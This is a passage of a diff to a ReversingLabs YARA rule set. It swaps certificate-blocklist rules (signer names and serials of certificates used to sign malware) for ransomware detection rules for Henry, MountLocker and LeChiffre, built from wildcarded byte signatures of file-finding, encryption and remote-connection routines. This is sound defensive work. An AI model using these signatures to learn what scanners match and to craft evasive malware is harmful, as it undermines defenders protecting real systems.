E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B + CA C1 E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ?? + ?? 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 65 ?? 5F 5E 5B 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOLGA KAPLAN" and pe.signatures [ i ] . serial == "01:66:b6:50:38:d6:1e:54:35:b4:82:04:ca:e4:79:5a" and 1403999999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_network_resources ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_784F226B45C3Bd8E4089243D747D1F59 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Henry : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Henry ransomware." author = "ReversingLabs" - id = "f2a979e0-2027-5143-8cb4-ffcfd19faf45" - date = "2020-08-05" - modified = "2023-11-08" + id = "63627f2b-3205-5790-ba97-8e0d1da39d7c" + date = "2021-06-14" + modified = "2021-06-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2578-L2594" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Henry.yara#L1-L80" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "df8ca35a07ec6815d1efb68fa6fbf8f80c57032ecb99d0b038da0604ceffe8cf" + logic_hash = "e6ab2a8a344d40407118e29ff78f5a0144f42a0fbdee19a80b341b59f056d292" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Henry" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FSPro Labs" and pe.signatures [ i ] . serial == "78:4f:22:6b:45:c3:bd:8e:40:89:24:3d:74:7d:1f:59" and 1242777599 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_11690F05604445Fae0De539Eeeeec584 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "e6513bd1-2524-5baa-8484-b7e0f2f0c02a" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2596-L2612" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b66257f562f698559910eb9576f8fdf0ce3a750cc0a96a27e2ec1a18872ad13f" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 02 6F ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? + ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 06 8E 69 32 ?? 02 6F ?? ?? ?? ?? 0D 16 0B 38 ?? ?? + ?? ?? 09 07 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 19 17 73 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? D4 8D + ?? ?? ?? ?? 13 ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 26 6F ?? ?? ?? ?? 11 ?? 6F ?? + ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 18 18 73 ?? ?? ?? ?? 25 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ?? + ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 07 17 58 0B 07 09 8E 69 3F ?? ?? + ?? ?? 2A + } + $encrypt_files = { + 02 8E 2D ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 03 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 73 + ?? ?? ?? ?? 7A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 28 ?? + ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 03 08 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 1F ?? 6F ?? ?? ?? + ?? 07 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 25 02 16 02 8E 69 6F ?? ?? ?? + ?? 25 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? + 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 FE ?? 09 6F ?? ?? ?? ?? DC 06 2A + } + $setup_environment = { + 02 28 ?? ?? ?? ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 + ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 02 28 ?? ?? ?? ?? 2A + } + $init_components = { + 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 + 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19 + 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? + ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 16 6F ?? ?? + ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? + ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 22 ?? ?? ?? ?? 16 19 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 + 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? + ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 02 7B ?? ?? ?? + ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 22 ?? ?? ?? ?? 22 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 02 17 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 02 7B ?? ?? + ?? ?? 6F ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 02 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 16 28 ?? ?? ?? ?? 02 28 ?? ?? + ?? ?? 2A + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tera information Technology co.Ltd" and pe.signatures [ i ] . serial == "11:69:0f:05:60:44:45:fa:e0:de:53:9e:ee:ee:c5:84" and 1294703999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $setup_environment ) and ( $init_components ) } - -rule REVERSINGLABS_Cert_Blocklist_Aa146Bff4B832Bdbfe30B84580356763 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Mountlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects MountLocker ransomware." author = "ReversingLabs" - id = "90fab567-f39f-5d0b-b0d9-a93693a05a01" - date = "2020-08-05" - modified = "2023-11-08" + id = "8ce7e5c4-9eca-5dd2-ab92-39b915900d72" + date = "2021-03-25" + modified = "2021-03-25" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2614-L2632" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MountLocker.yara#L1-L86" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "37abe7a4fd773fd34f5d7dbe725ba4edcfb8ebb501dc41f386b8b0629161051f" + logic_hash = "d203217c229d54802e96e19dc66d38ecb0443d19e0492efe337df471a99559dc" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "MountLocker" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yancheng Peoples Information Technology Service Co., Ltd" and ( pe.signatures [ i ] . serial == "00:aa:14:6b:ff:4b:83:2b:db:fe:30:b8:45:80:35:67:63" or pe.signatures [ i ] . serial == "aa:14:6b:ff:4b:83:2b:db:fe:30:b8:45:80:35:67:63" ) and 1295481599 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_E86F46B60142092Aae81B8F6Fa3D9C7C : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "fde17cc1-a968-5134-b12b-d65cb34c086f" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2634-L2652" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6de16a44bc84fbf8f1d3d82526e1d7f8fd4ae3da6deaa471c77d2c8df47a14b0" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B DA 8B F1 FF D7 89 44 24 ?? + 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 56 89 54 24 ?? 89 44 24 ?? FF 15 + ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 74 24 ?? 6A ?? 6A ?? FF 74 24 ?? FF + 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 0F 31 89 44 8C ?? 41 83 F9 + ?? 72 ?? FF 75 ?? 8B D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 59 85 C0 74 ?? 8D 4C + 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B 7C 24 ?? 8B 44 24 ?? 89 7C 24 ?? 89 44 24 ?? 8B + 35 ?? ?? ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ?? + 8B C6 F0 0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? FF 74 24 ?? + 8B 35 ?? ?? ?? ?? FF D6 FF 74 24 ?? FF D6 8B 3D ?? ?? ?? ?? FF D7 8B F8 8B C2 2B 7C + 24 ?? 89 7C 24 ?? 1B 44 24 ?? 89 44 24 ?? 75 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? + ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ?? 8B C6 F0 + 0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? 50 57 FF 74 24 ?? FF + 74 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B C2 81 E2 ?? ?? ?? ?? 25 ?? ?? ?? ?? 89 54 24 + ?? DF 6C 24 ?? 83 64 24 ?? ?? 89 44 24 ?? DF 6C 24 ?? D9 E0 DE C1 D9 5C 24 ?? D9 44 + 24 ?? D9 05 ?? ?? ?? ?? D8 D9 DF E0 F6 C4 ?? 7A ?? D9 1D ?? ?? ?? ?? EB ?? DD D8 8B + 44 24 ?? EB ?? 8B 44 24 ?? 85 C0 8B 35 ?? ?? ?? ?? 74 ?? 50 FF D6 FF 74 24 ?? FF D6 + 33 C0 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files_p2 = { + 55 8B EC 83 EC ?? 53 56 57 33 FF 6A ?? 8B F7 5B 0F 31 6A ?? 89 86 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 83 C6 ?? 3B F3 72 ?? 8B D3 B9 ?? ?? ?? ?? 8A 01 88 41 ?? 41 83 EA ?? 75 + ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 57 8D 45 ?? 89 5D ?? 50 89 7D ?? 89 7D ?? FF + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 57 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? + ?? ?? 57 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 FF 15 ?? ?? ?? ?? 57 FF + 75 ?? FF 15 ?? ?? ?? ?? 85 F6 74 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 33 C0 40 + EB ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E + 5B 8B E5 5D C3 + } + $find_files_p1 = { + 53 55 56 8B 74 24 ?? 8B EA 57 8B F9 6A ?? 83 26 ?? 58 66 89 44 6F ?? 8D 5F ?? 33 C0 + 66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 53 89 44 24 ?? FF D0 33 C9 66 89 + 4C 6F ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 39 4F ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 + F8 ?? 0F 85 ?? ?? ?? ?? 8D 46 ?? 50 6A ?? 8D 4E ?? 51 8D 56 ?? 52 8D 46 ?? 50 6A ?? + 6A ?? 8D 5F ?? 53 FF 15 ?? ?? ?? ?? F7 D8 1B C0 83 C0 ?? 89 06 74 ?? 8B CB E8 ?? ?? + ?? ?? 85 C0 74 ?? 6A ?? 58 66 89 44 6F ?? 33 C0 66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50 + 53 FF 54 24 ?? 33 C9 66 89 4C 6F ?? 83 F8 ?? 75 ?? 39 0E 74 ?? 51 FF 76 ?? FF 76 ?? + FF 76 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 3E ?? 74 ?? FF 76 ?? FF 15 ?? ?? ?? ?? + 83 26 ?? 83 C8 ?? 5F 5E 5D 5B C3 + } + $find_files_p2 = { + 55 8B EC 83 E4 ?? 83 EC ?? 53 55 56 8B F1 57 FF 46 ?? 8D 7E ?? 8B 07 8D 5E ?? 89 44 + 24 ?? 8B 46 ?? 53 89 07 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 8B D0 8B CE E8 + ?? ?? ?? ?? 8B E8 59 83 FD ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 8D 86 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 8D 9E ?? ?? ?? ?? F6 03 ?? 74 ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB + ?? 8D 86 ?? ?? ?? ?? 50 8B 44 24 ?? 05 ?? ?? ?? ?? 8D 04 46 50 FF 15 ?? ?? ?? ?? FF + 76 ?? 57 6A ?? FF 16 83 C4 ?? 85 C0 74 ?? 53 55 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 55 FF + 15 ?? ?? ?? ?? 83 7E ?? ?? 8D 5E ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 6A ?? FF 74 24 ?? FF + 74 24 ?? FF 74 24 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? FF 74 24 + ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 89 0F 40 5F 5E 5D 5B 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Syncode Sistemas e Tecnologia Ltda" and ( pe.signatures [ i ] . serial == "00:e8:6f:46:b6:01:42:09:2a:ae:81:b8:f6:fa:3d:9c:7c" or pe.signatures [ i ] . serial == "e8:6f:46:b6:01:42:09:2a:ae:81:b8:f6:fa:3d:9c:7c" ) and 1373932799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_1A0Fd2A4Ef4C2A36Ab9C5E8F792A35E2 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Lechiffre : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects LeChiffre ransomware." author = "ReversingLabs" - id = "7148a21a-97d6-59a2-a1cf-442c271bc0b5" - date = "2020-08-05" - modified = "2023-11-08" + id = "5d2698fe-9a0b-549d-9a83-72e2ccfc1966" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2654-L2670" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.LeChiffre.yara#L1-L123" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8e768415998a6a92961986cb0a9d310514d928be93b3e5a9aaa9ec71bf5886ad" + logic_hash = "0b96f5f48700f2cba22da91187b3111946074e9cc58a502f25d7b96059a043cb" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "LeChiffre" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE5\\x8C\\x97\\xE4\\xBA\\xAC\\xE9\\x87\\x91\\xE5\\x88\\xA9\\xE5\\xAE\\x8F\\xE6\\x98\\x8C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "1a:0f:d2:a4:ef:4c:2a:36:ab:9c:5e:8f:79:2a:35:e2" and 1389311999 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_53Bb753B79A99E61A6E822Ac52460C70 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "6339d548-775b-52b9-84c5-a79de23a16b2" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2672-L2688" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24ff4f46fa6e85c25e130459f9b8d6907cf6cd51098e0cf45ec11d54d7de509b" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $remote_connection_1 = { + 55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF + 30 64 89 20 8B 45 ?? 33 D2 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 + ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 + ?? 8B 08 FF 51 ?? 8B 45 ?? 8B 10 FF 52 ?? 8B F0 4E 85 F6 7C ?? 46 33 DB 8D 4D ?? 8B + D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 45 + ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 E8 ?? 50 8D 4D ?? 8B D3 8B 45 ?? 8B 38 FF 57 ?? 8B 45 ?? BA ?? ?? ?? ?? 59 E8 ?? + ?? ?? ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? + 8B 45 ?? E8 ?? ?? ?? ?? C3 + } + $remote_connection_2 = { + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 + C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 ?? 8B 80 ?? ?? ?? ?? 66 BE ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 + ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 + } + $remote_connection_3 = { + E8 ?? ?? ?? ?? 8B 45 ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? ?? + ?? ?? DD 5D ?? 9B FF 75 ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? + ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? + 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? E8 ?? ?? ?? ?? FF + 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 4D + ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B + 45 ?? E8 ?? ?? ?? ?? C3 + } + $encrypt_files_1 = { + E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? + 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 + ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 55 ?? + 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? + ?? 83 7B ?? ?? 0F 84 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B + 03 E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 03 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF 86 ?? ?? + ?? ?? B2 ?? 8B 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 03 E8 ?? ?? ?? ?? FF 75 ?? + 68 ?? ?? ?? ?? 8B 43 ?? C1 E8 ?? 33 D2 52 50 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 86 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 03 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? C3 + } + $encrypt_files_2 = { + E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? 8B 12 8B 92 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 8B 55 ?? E8 ?? ?? ?? ?? 3D ?? + ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? + ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? 